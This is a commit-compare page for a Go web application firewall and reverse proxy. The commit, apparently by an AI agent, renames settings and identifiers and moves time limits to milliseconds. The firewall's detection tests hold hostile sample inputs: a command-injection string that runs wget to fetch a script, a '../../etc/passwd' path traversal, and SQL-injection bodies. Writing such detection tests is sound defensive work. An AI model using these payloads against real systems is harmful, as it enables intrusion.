Compare commits

..
1 Commits
Author SHA1 Message Date
clawbot 4be0b6e7fc Rename the settings whose names do not say what they control (closes #234)
check / check (push) Successful in 4m16s
Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5
2026-11-12 08:22:52 +00:00
25 changed files with 166 additions and 192 deletions

No files matched your search

+5 -5
View File
@@ -454,12 +454,13 @@ asked in the background (see "Answering in time" under "`waf`" in
start, and an invalid value stops the start. Any can be given as a file, as a start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do. `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy` `https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits - `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
for `waf`'s answer, to a question and to a report. A time in milliseconds; for `waf`'s answer, to a question and to a report. A time; never `off`.
never `off`.
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done - `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
with a request when `waf` cannot be connected to, does not answer at all, or with a request when `waf` cannot be connected to, does not answer at all, or
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
@@ -472,12 +473,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time of the headers, the time until the app has been sent the whole request. A time
in milliseconds or `off`. or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time in milliseconds or do the status and headers of the app's answer. A time or `off`.
`off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`. `:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
+5 -5
View File
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
} }
} }
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) { func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
} }
} }
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) { func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel() t.Parallel()
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of // With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// 3^13 hours, is not above it, and three times as long would not fit in // hours, is within the maximum, and three times as long would not fit
// a time.Duration. The 15th is permanent. // in a time.Duration. The 15th is permanent.
params := defaultParams() params := defaultParams()
params.LimitBanPermanentAbove = 100000 * day params.LimitBanPermanentAbove = 100000 * day
ledger := bans.New(params) ledger := bans.New(params)
+12 -12
View File
@@ -16,7 +16,7 @@ import (
// rproxy's settings, by name, and their values in these tests. // rproxy's settings, by name, and their values in these tests.
const ( const (
wafBackend = "SWW_RPROXY_WAF_BACKEND" wafBackend = "SWW_RPROXY_WAF_BACKEND"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR" rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000", rproxyListen: ":9000",
rproxyUpstream: "http://app:3000", rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24", rproxyTrusted: "192.0.2.0/24",
wafBackendTimeout: "150", rproxyTimeout: "150",
rproxyNoAnswer: "deny", rproxyNoAnswer: "deny",
rproxyMaxRequest: "1K", rproxyMaxRequest: "1K",
rproxyMaxResponse: off, rproxyMaxResponse: off,
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "waf:8080"}, {wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"}, {wafBackend, "http://waf:8080/path"},
{wafBackendTimeout, "0"}, {rproxyTimeout, "0"},
{wafBackendTimeout, "-1"}, {rproxyTimeout, "-1"},
{wafBackendTimeout, off}, {rproxyTimeout, off},
{wafBackendTimeout, "2s"}, {rproxyTimeout, "2s"},
{wafBackendTimeout, "1.25"}, {rproxyTimeout, "1.25"},
{wafBackendTimeout, "99999999999999999"}, {rproxyTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"}, {rproxyNoAnswer, "maybe"},
{rproxyListen, "8080"}, {rproxyListen, "8080"},
{rproxyUpstream, "app"}, {rproxyUpstream, "app"},
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
for _, path := range []string{filepath.Join(dir, "missing"), dir} { for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{ _, err := rproxyConfig(map[string]string{
wafBackend: backendURL, wafBackend: backendURL,
wafBackendTimeout + "_FILE": path, rproxyTimeout + "_FILE": path,
}) })
want := wafBackendTimeout + "_FILE: cannot be read: " want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) { if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want) t.Errorf("%s: error %v, want one starting %s", path, err, want)
} }
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
} }
for _, name := range []string{ for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout, rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
rproxyNoAnswer, rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} { } {
+5 -5
View File
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
env environment env environment
paths []string paths []string
limit int64 threshold int64
}{ }{
{environment{}, []string{}, 30}, {environment{}, []string{}, 30},
{ {
@@ -544,14 +544,14 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
} { } {
cfg := fromEnvironment(t, tc.env) cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) || if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.RefusalsLimitPerMinute != tc.limit { cfg.RefusalsLimitPerMinute != tc.threshold {
t.Errorf( t.Errorf(
"%v gave %v and %d, want %v and %d", "%v gave %v and %d, want %v and %d",
tc.env, tc.env,
cfg.TrapPaths, cfg.TrapPaths,
cfg.RefusalsLimitPerMinute, cfg.RefusalsLimitPerMinute,
tc.paths, tc.paths,
tc.limit, tc.threshold,
) )
} }
} }
+18 -18
View File
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use. // for concurrent use.
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyInspectionSize int64 bodyLimit int64
// appsByHostname are the names of the apps each hostname serves, by // appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset. // hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string appsByHostname map[string][]string
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
// New returns the Core Rule Set with the five changes and the apps' fixes, // New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading // at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' body inspection size, and with params' // request bodies up to params' limit, and with params' exclusions file
// exclusions file loaded before the Core Rule Set's rules. An exclusions // loaded before the Core Rule Set's rules. An exclusions file is an error
// file is an error if it cannot be read or does not parse, or if // if it cannot be read or does not parse, or if checkExclusions refuses
// checkExclusions refuses it. // it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyInspectionSize > 0 { if params.BodyInspectionSize > 0 {
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
} }
return &CoreRuleSet{ return &CoreRuleSet{
engine: engine, engine: engine,
bodyInspectionSize: params.BodyInspectionSize, bodyLimit: params.BodyInspectionSize,
appsByHostname: params.Apps, appsByHostname: params.Apps,
}, nil }, nil
} }
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
// readBody reads body, the body of the request in tx, which has run on // readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is // the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
// set and the body is of a kind the Core Rule Set reads: form data and // set and the body is of a kind the Core Rule Set reads: form data and
// multipart, of which it reads the first c.bodyInspectionSize bytes, and // multipart, of which it reads the first c.bodyLimit bytes, and JSON and
// JSON and XML, which it reads only when they are no longer than that, // XML, which it reads only when they are no longer than that, since they
// since they cannot be read in part. // cannot be read in part.
// readBody reads one byte past c.bodyInspectionSize, to tell which they // readBody reads one byte past the limit, to tell which they are, gives
// are, gives the Core Rule Set what it reads, and returns what it read and // the Core Rule Set what it reads, and returns what it read and the error
// the error that ended the reading early, if one did. // that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(
tx types.Transaction, tx types.Transaction,
body io.Reader, body io.Reader,
) ([]byte, error) { ) ([]byte, error) {
if c.bodyInspectionSize == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
return nil, nil return nil, nil
} }
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1)) read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) { if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the // Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail. // limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read) _, _, _ = tx.WriteRequestBody(read)
+23 -35
View File
@@ -1089,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10 const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{ crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
})() })()
if err != nil { if err != nil {
return nil, err return nil, err
@@ -1174,11 +1173,8 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
names := []string{name} names := []string{name}
body := passwordBody(t, r, names, misfiring...) body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyInspectionSize { if len(body) > bodyLimit {
t.Fatalf( t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
} }
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -2314,9 +2310,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body) wantBody(t, crs, signIn, body, matched(930120), body)
} }
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the // bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
// tests that read bodies. // read bodies.
const bodyInspectionSize = 8 << 10 const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads. // The Content-Type headers of the kinds of body the Core Rule Set reads.
const ( const (
@@ -2339,13 +2335,12 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh" const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyInspectionSize. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return shared(t, coreruleset.Params{ return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
}) })
} }
@@ -2419,7 +2414,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
pad := strings.Repeat("a", bodyInspectionSize) pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{ for _, tc := range []struct{ header, attackFirst, attackLast string }{
{ {
@@ -2432,20 +2427,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
}, },
} { } {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyInspectionSize+1]) tc.attackFirst[:bodyLimit+1])
wantBody( wantBody(
t, t,
crs, crs,
post(tc.header), post(tc.header),
tc.attackLast, tc.attackLast,
coreruleset.Result{}, coreruleset.Result{},
tc.attackLast[:bodyInspectionSize+1], tc.attackLast[:bodyLimit+1],
) )
} }
// To the byte: a system file's path is found when it ends at the limit, // To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read. // and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize) atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2455,7 +2450,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit, atLimit,
) )
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1) pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2475,10 +2470,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"}, {xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} { } {
fits := padded(tc.head, tc.tail, bodyInspectionSize) fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits) wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1) larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2535,7 +2530,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but // Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same. // Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyInspectionSize+1) larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no // It is allowed on a body of any other kind, and on every body while no
@@ -2855,7 +2850,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the // that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding. // limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyInspectionSize)) pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{ for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""}, {multipart + "; boundary=c", ""},
@@ -2873,7 +2868,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyInspectionSize+1]) body[:bodyLimit+1])
} }
} }
@@ -2886,10 +2881,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di" cut := "--b\r\nContent-Di"
first := field( first := field(
"pad", "pad",
strings.Repeat( strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
) )
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2899,7 +2891,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart), post(multipart),
body, body,
matched(900440, 900450), matched(900440, 900450),
body[:bodyInspectionSize+1], body[:bodyLimit+1],
) )
} }
@@ -2918,15 +2910,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field( first := field(
"pad", "pad",
strings.Repeat( strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
) )
body := first + field("q", "1") + end body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450), wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyInspectionSize+1]) body[:bodyLimit+1])
} }
} }
@@ -2941,8 +2930,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what // The test loads its own Core Rule Set, since loading is part of what
// it checks. // it checks.
crs, err := coreruleset.New(coreruleset.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
}) })
if err != nil { if err != nil {
t.Fatalf("load the Core Rule Set: %v", err) t.Fatalf("load the Core Rule Set: %v", err)
+2 -4
View File
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {mediawiki}, otherHost: {mediawiki},
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {mediawiki}, otherHost: {mediawiki},
+1 -2
View File
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {nextcloud}, otherHost: {nextcloud},
+1 -1
View File
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
defaults := servingApps(t, apps) defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{ bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize, Apps: apps, BodyInspectionSize: bodyLimit, Apps: apps,
}) })
for _, recorded := range requests { for _, recorded := range requests {
+2 -5
View File
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
}, },
} { } {
body := passwordBody(t, sent.r, sent.names, hashes...) body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyInspectionSize { if len(body) > bodyLimit {
t.Fatalf( t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(
+17 -19
View File
@@ -13,15 +13,14 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client, // busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known. // its country or its AS number, for requests whose client's is known.
// The busiestCount busiest countries or AS numbers, by their requests // The topN busiest countries or AS numbers, by their requests since the
// since the start, have series of their own, and the others are counted // start, have series of their own, and the others are counted under
// under other, so that there are never more than busiestCount + 1 series. // other, so that there are never more than topN + 1 series. One that
// One that drops out of the busiest loses its series, and its next // drops out of the busiest loses its series, and its next requests are
// requests are counted under other; one that becomes one of them gets a // counted under other; one that becomes one of them gets a series that
// series that counts from then on. Each series therefore only ever goes // counts from then on. Each series therefore only ever goes up.
// up.
type busiest struct { type busiest struct {
busiestCount int topN int
requests *prometheus.CounterVec requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec requestBytes *prometheus.CounterVec
@@ -39,9 +38,9 @@ type busiest struct {
} }
// newCountries returns the metrics by country, with series of their own // newCountries returns the metrics by country, with series of their own
// for the busiestCount busiest countries. // for the topN busiest countries.
func newCountries(busiestCount int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(busiestCount, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec( countries.refused = counterVec(
"sww_country_list_refusals_total", "sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", "Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
} }
// newASNs returns the metrics by AS number, with series of their own for // newASNs returns the metrics by AS number, with series of their own for
// the busiestCount busiest AS numbers. // the topN busiest AS numbers.
func newASNs(busiestCount int) *busiest { func newASNs(topN int) *busiest {
return newBusiest(busiestCount, "asn", "the client's AS number") return newBusiest(topN, "asn", "the client's AS number")
} }
// newBusiest returns the metrics by label, which is described as // newBusiest returns the metrics by label, which is described as
// description, with series of their own for the busiestCount busiest // description, with series of their own for the topN busiest values.
// values. func newBusiest(topN int, label, description string) *busiest {
func newBusiest(busiestCount int, label, description string) *busiest {
by := []string{label} by := []string{label}
return &busiest{ return &busiest{
busiestCount: busiestCount, topN: topN,
requests: counterVec("sww_"+label+"_requests_total", requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by), "Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total", requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
return value return value
} }
if len(b.top) < b.busiestCount { if len(b.top) < b.topN {
b.top[value] = true b.top[value] = true
return value return value
+6 -6
View File
@@ -61,12 +61,12 @@ type Metrics struct {
} }
// New returns the metrics, with the Go runtime's and the process's own. // New returns the metrics, with the Go runtime's and the process's own.
// busiestCount is how many countries and how many AS numbers get series of // topN is how many countries and how many AS numbers get series of their
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric // own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance. // (SWW_WAF_INSTANCE_NAME) as its label instance.
// //
//nolint:funlen // a few lines for each metric, a list that grows with them //nolint:funlen // a few lines for each metric, a list that grows with them
func New(busiestCount int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"} byStatus := []string{"status_class", "action"}
byFile := []string{"file"} byFile := []string{"file"}
registry := prometheus.NewRegistry() registry := prometheus.NewRegistry()
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
"and the rule's id.", "and the rule's id.",
[]string{"mode", "rule_id"}, []string{"mode", "rule_id"},
), ),
countries: newCountries(busiestCount), countries: newCountries(topN),
asns: newASNs(busiestCount), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total", Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.", Help: "Requests to GeoJS.",
+5 -5
View File
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
// CountRefusal counts a request from client at now that sww // CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute // wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than limit, which breaks // that ends at now, this one included, are more than threshold, which
// the refusal limit, and the hit. // breaks the refusal limit, and the hit.
func (l *Limiter) CountRefusal( func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, limit int64, client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) { ) (Hit, bool) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
hit := Hit{ hit := Hit{
Kind: KindRefusals, Kind: KindRefusals,
Window: "minute", Window: "minute",
Limit: limit, Limit: threshold,
Count: count, Count: count,
} }
return hit, count > float64(limit) return hit, count > float64(threshold)
} }
// Reset sets client's counts of requests, of bytes and of refusals in // Reset sets client's counts of requests, of bytes and of refusals in
+4 -4
View File
@@ -351,7 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "") wantBytesCount(t, limiter, client, start, 1000, "")
} }
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit( func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
t *testing.T, t *testing.T,
) { ) {
t.Parallel() t.Parallel()
@@ -363,7 +363,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
for range limit { for range limit {
